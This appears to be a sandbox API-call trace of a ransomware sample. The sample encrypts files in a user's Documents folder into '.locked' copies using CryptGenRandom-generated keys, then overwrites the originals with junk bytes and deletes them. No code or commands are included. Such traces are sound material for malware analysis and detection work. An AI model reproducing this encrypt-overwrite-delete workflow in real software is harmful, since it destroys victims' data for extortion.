	[0074.102] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x4d6, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x4d6, lpOverlapped=0x0) returned 1
	[0074.102] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0074.102] CloseHandle (hObject=0xc4) returned 1
	[0074.103] CloseHandle (hObject=0xc0) returned 1
	[0074.103] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0074.106] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.106] SetEvent (hEvent=0x80) returned 1
	[0074.106] SetEvent (hEvent=0x8c) returned 1
	[0074.106] SetEvent (hEvent=0xb4) returned 1
	[0074.106] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.107] SetEvent (hEvent=0xa8) returned 1
	[0074.107] SetEvent (hEvent=0xb4) returned 1
	[0074.107] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x5c, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5c) returned 1
	[0074.109] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\Dp2TlVTx1xkc.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\dp2tlvtx1xkc.doc")) returned 1
	[0074.127] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.128] SetEvent (hEvent=0xa8) returned 1
	[0074.128] SetEvent (hEvent=0x8c) returned 1
	[0074.132] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.133] SetEvent (hEvent=0x8c) returned 1
	[0074.133] SetEvent (hEvent=0xb4) returned 1
	[0074.133] SetEvent (hEvent=0x80) returned 1
	[0074.133] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.133] SetEvent (hEvent=0x80) returned 1
	[0074.135] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.135] SetEvent (hEvent=0x80) returned 1
	[0074.136] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.136] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.136] SetEvent (hEvent=0x80) returned 1
	[0074.136] SetEvent (hEvent=0xb4) returned 1
	[0074.136] SetEvent (hEvent=0x8c) returned 1
	[0074.136] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.136] SetEvent (hEvent=0x8c) returned 1
	[0074.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\Dp2TlVTx1xkc.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\dp2tlvtx1xkc.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.137] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0074.138] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.156] CloseHandle (hObject=0xc0) returned 1
	[0074.164] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\Dp2TlVTx1xkc.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\dp2tlvtx1xkc.doc")) returned 1
	[0074.173] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\WkAG.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\wkag.ods"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c2b3b00, ftCreationTime.dwHighDateTime=0x1d4ccb5, ftLastAccessTime.dwLowDateTime=0x6347f200, ftLastAccessTime.dwHighDateTime=0x1d4d354, ftLastWriteTime.dwLowDateTime=0x6347f200, ftLastWriteTime.dwHighDateTime=0x1d4d354, nFileSizeHigh=0x0, nFileSizeLow=0x7833)) returned 1
	[0074.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\WkAG.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\wkag.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.173] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\WkAG.ods.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\wkag.ods.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.205] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.207] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0074.246] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796210 | out: pbBuffer=0x12796210) returned 1
	[0074.246] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0074.247] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0074.249] SetEvent (hEvent=0xb4) returned 1
	[0074.249] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x7833, lpOverlapped=0x0) returned 1
	[0074.250] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x7833, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x7833, lpOverlapped=0x0) returned 1
	[0074.251] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0074.251] CloseHandle (hObject=0xc4) returned 1
	[0074.252] CloseHandle (hObject=0xc0) returned 1
	[0074.252] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0074.263] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.263] SetEvent (hEvent=0xb4) returned 1
	[0074.263] SetEvent (hEvent=0x8c) returned 1
	[0074.263] SetEvent (hEvent=0x80) returned 1
	[0074.263] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.266] SetEvent (hEvent=0xa8) returned 1
	[0074.266] SetEvent (hEvent=0x80) returned 1
	[0074.266] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x54, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee7d8*=0x54) returned 1
	[0074.273] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\WkAG.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\wkag.ods")) returned 1
	[0074.290] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.293] SetEvent (hEvent=0xa8) returned 1
	[0074.293] SetEvent (hEvent=0x8c) returned 1
	[0074.298] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.299] SetEvent (hEvent=0x8c) returned 1
	[0074.299] SetEvent (hEvent=0x80) returned 1
	[0074.299] SetEvent (hEvent=0xb4) returned 1
	[0074.299] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.299] SetEvent (hEvent=0xb4) returned 1
	[0074.300] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.301] SetEvent (hEvent=0xb4) returned 1
	[0074.301] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.301] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.301] SetEvent (hEvent=0xb4) returned 1
	[0074.301] SetEvent (hEvent=0x80) returned 1
	[0074.301] SetEvent (hEvent=0x8c) returned 1
	[0074.301] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.302] SetEvent (hEvent=0x8c) returned 1
	[0074.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\WkAG.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\wkag.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.303] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0074.303] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.321] CloseHandle (hObject=0xc0) returned 1
	[0074.329] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\WkAG.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\wkag.ods")) returned 1
	[0074.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\aqzEZW5ffU2Ui6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\aqzezw5ffu2ui6.pps"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8ca5b0, ftCreationTime.dwHighDateTime=0x1d4d0b4, ftLastAccessTime.dwLowDateTime=0x3e848140, ftLastAccessTime.dwHighDateTime=0x1d4ce4a, ftLastWriteTime.dwLowDateTime=0x3e848140, ftLastWriteTime.dwHighDateTime=0x1d4ce4a, nFileSizeHigh=0x0, nFileSizeLow=0xdf44)) returned 1
	[0074.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\aqzEZW5ffU2Ui6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\aqzezw5ffu2ui6.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.339] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\aqzEZW5ffU2Ui6.pps.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\aqzezw5ffu2ui6.pps.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.339] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.340] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0074.340] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796210 | out: pbBuffer=0x12796210) returned 1
	[0074.340] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0074.340] WriteFile (in: hFile=0xc4, lpBuffer=0x1268d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1268d000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0074.342] SetEvent (hEvent=0x80) returned 1
	[0074.342] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xdf44, lpOverlapped=0x0) returned 1
	[0074.344] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xdf44, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xdf44, lpOverlapped=0x0) returned 1
	[0074.345] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0074.345] CloseHandle (hObject=0xc4) returned 1
	[0074.346] CloseHandle (hObject=0xc0) returned 1
	[0074.346] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0074.347] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.347] SetEvent (hEvent=0x80) returned 1
	[0074.347] SetEvent (hEvent=0x8c) returned 1
	[0074.347] SetEvent (hEvent=0xb4) returned 1
	[0074.347] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.348] SetEvent (hEvent=0xa8) returned 1
	[0074.348] SetEvent (hEvent=0xb4) returned 1
	[0074.348] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x5e, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5e) returned 1
	[0074.350] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\aqzEZW5ffU2Ui6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\aqzezw5ffu2ui6.pps")) returned 1
	[0074.367] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.368] SetEvent (hEvent=0xa8) returned 1
	[0074.368] SetEvent (hEvent=0x8c) returned 1
	[0074.372] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.373] SetEvent (hEvent=0x8c) returned 1
	[0074.373] SetEvent (hEvent=0xb4) returned 1
	[0074.373] SetEvent (hEvent=0x80) returned 1
	[0074.373] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.373] SetEvent (hEvent=0x80) returned 1
	[0074.375] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.375] SetEvent (hEvent=0x80) returned 1
	[0074.375] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.376] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.376] SetEvent (hEvent=0x80) returned 1
	[0074.376] SetEvent (hEvent=0xb4) returned 1
	[0074.376] SetEvent (hEvent=0x8c) returned 1
	[0074.376] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.376] SetEvent (hEvent=0x8c) returned 1
	[0074.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\aqzEZW5ffU2Ui6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\aqzezw5ffu2ui6.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.377] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0074.377] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.394] CloseHandle (hObject=0xc0) returned 1
	[0074.402] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\aqzEZW5ffU2Ui6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\aqzezw5ffu2ui6.pps")) returned 1
	[0074.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\cw88GojW.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\cw88gojw.pps"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x737b8420, ftCreationTime.dwHighDateTime=0x1d4cea4, ftLastAccessTime.dwLowDateTime=0xfdf03e50, ftLastAccessTime.dwHighDateTime=0x1d4c80c, ftLastWriteTime.dwLowDateTime=0xfdf03e50, ftLastWriteTime.dwHighDateTime=0x1d4c80c, nFileSizeHigh=0x0, nFileSizeLow=0x4e6c)) returned 1
	[0074.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\cw88GojW.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\cw88gojw.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.412] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\cw88GojW.pps.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\cw88gojw.pps.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.457] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.457] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0074.457] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796210 | out: pbBuffer=0x12796210) returned 1
	[0074.457] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0074.457] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0074.460] SetEvent (hEvent=0xb4) returned 1
	[0074.460] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x4e6c, lpOverlapped=0x0) returned 1
	[0074.461] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x4e6c, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x4e6c, lpOverlapped=0x0) returned 1
	[0074.461] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0074.461] CloseHandle (hObject=0xc4) returned 1
	[0074.464] CloseHandle (hObject=0xc0) returned 1
	[0074.465] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.465] SetEvent (hEvent=0xb4) returned 1
	[0074.465] SetEvent (hEvent=0x8c) returned 1
	[0074.465] SetEvent (hEvent=0x80) returned 1
	[0074.465] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.466] SetEvent (hEvent=0x80) returned 1
	[0074.466] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x58) returned 1
	[0074.467] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\cw88GojW.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\cw88gojw.pps")) returned 1
	[0074.486] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.486] SetEvent (hEvent=0xa8) returned 1
	[0074.486] SetEvent (hEvent=0x8c) returned 1
	[0074.491] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.491] SetEvent (hEvent=0x8c) returned 1
	[0074.491] SetEvent (hEvent=0x80) returned 1
	[0074.491] SetEvent (hEvent=0xb4) returned 1
	[0074.491] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.491] SetEvent (hEvent=0xb4) returned 1
	[0074.493] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.493] SetEvent (hEvent=0xb4) returned 1
	[0074.493] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.494] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.494] SetEvent (hEvent=0xb4) returned 1
	[0074.494] SetEvent (hEvent=0x80) returned 1
	[0074.494] SetEvent (hEvent=0x8c) returned 1
	[0074.494] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.494] SetEvent (hEvent=0x8c) returned 1
	[0074.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\cw88GojW.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\cw88gojw.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.495] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0074.495] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.514] CloseHandle (hObject=0xc0) returned 1
	[0074.522] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\cw88GojW.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\cw88gojw.pps")) returned 1
	[0074.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wwb LK3j94MnP6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwb lk3j94mnp6.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e44e10, ftCreationTime.dwHighDateTime=0x1d4f2ac, ftLastAccessTime.dwLowDateTime=0xd87c51d0, ftLastAccessTime.dwHighDateTime=0x1d4bdea, ftLastWriteTime.dwLowDateTime=0xd87c51d0, ftLastWriteTime.dwHighDateTime=0x1d4bdea, nFileSizeHigh=0x0, nFileSizeLow=0xea93)) returned 1
	[0074.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wwb LK3j94MnP6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwb lk3j94mnp6.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.532] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
